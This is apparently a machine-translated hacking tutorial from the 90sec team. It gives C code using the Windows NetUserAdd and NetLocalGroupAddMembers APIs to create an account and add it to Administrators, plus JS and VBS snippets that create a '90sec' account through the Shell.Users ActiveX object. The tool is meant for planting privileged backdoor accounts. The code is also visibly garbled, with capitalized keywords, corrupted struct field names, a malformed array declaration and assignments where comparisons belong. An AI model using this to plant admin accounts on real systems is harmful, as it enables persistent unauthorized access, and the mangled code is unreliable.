1) Use APIs to add users. A source code section is provided.
# Include
# Include
# Include
# Pragma comment (lib, "netapi32 ")
Void usage ();
Int wmain (int argc, wchar_t * argv [])
{
USER_INFO_1 ui;
DWORD dwError = 0;
If (argc! = 3)
{
Usage ();
Return 0;
}
Ui. usri1_name = argv [1];
Ui. usrimo-password = argv [2];
Ui. usrisponpriv = USER_PRIV_USER;
Ui. usri#home_dir = NULL;
Ui. usrisponcomment = NULL;
Ui. usriw.flags = UF_SCRIPT;
Ui. usrisponscript_path = NULL;
If (NetUserAdd (NULL, 1, (LPBYTE) & ui, & dwError) = NERR_Success)
{
Printf ("User has been successfully added \ n ");
}
Else
{
Fwprintf (stderr, L "Add user % s Error! \ N ", argv [1]);
Return 1;
} Www.2cto.com
Wchar_t szAccountName [1, 100] = {0 };
Const unsigned short * name;
Name = (const unsigned short *) argv [1];
Wcscpy (szAccountName, name );
LOCALGROUP_MEMBERS_INFO_3 account;
Account. lgrmi3_domainandname = szAccountName;
If (NetLocalGroupAddMembers (NULL, L "Administrators", 3, (LPBYTE) & account, 1) = NERR_Success)
{
Printf ("Add to Administrators success. \ n ");
Return 0;
}
Else
{
Printf ("Add to Administrators Fail! \ N ");
Return 1;
}
}
Void usage ()
{
Printf ("===================================\ n ");
Printf ("==== AddUserByApi =======\ n ");
Printf ("Team: 90sec/www.90sec.org \ n ");
Printf ("Usage: Program username pass \ n ");
}
2) use Shell. Users to add Users. It calls the wscript. shell, Shell. Application, and Shell. LocalMachine components.
Js:
Var o = new ActiveXObject ("Shell. Users ");
Z = o. create ("90sec ");
Z. changePassword ("90sec ″,"")
Z. setting ("AccountType") = 3;
Vbs:
Set o = CreateObject ("Shell. Users ")
Set z = o. create ("90sec ")
Z. changePassword "90sec ″,""
Z. setting ("AccountType") = 3
From Shadow e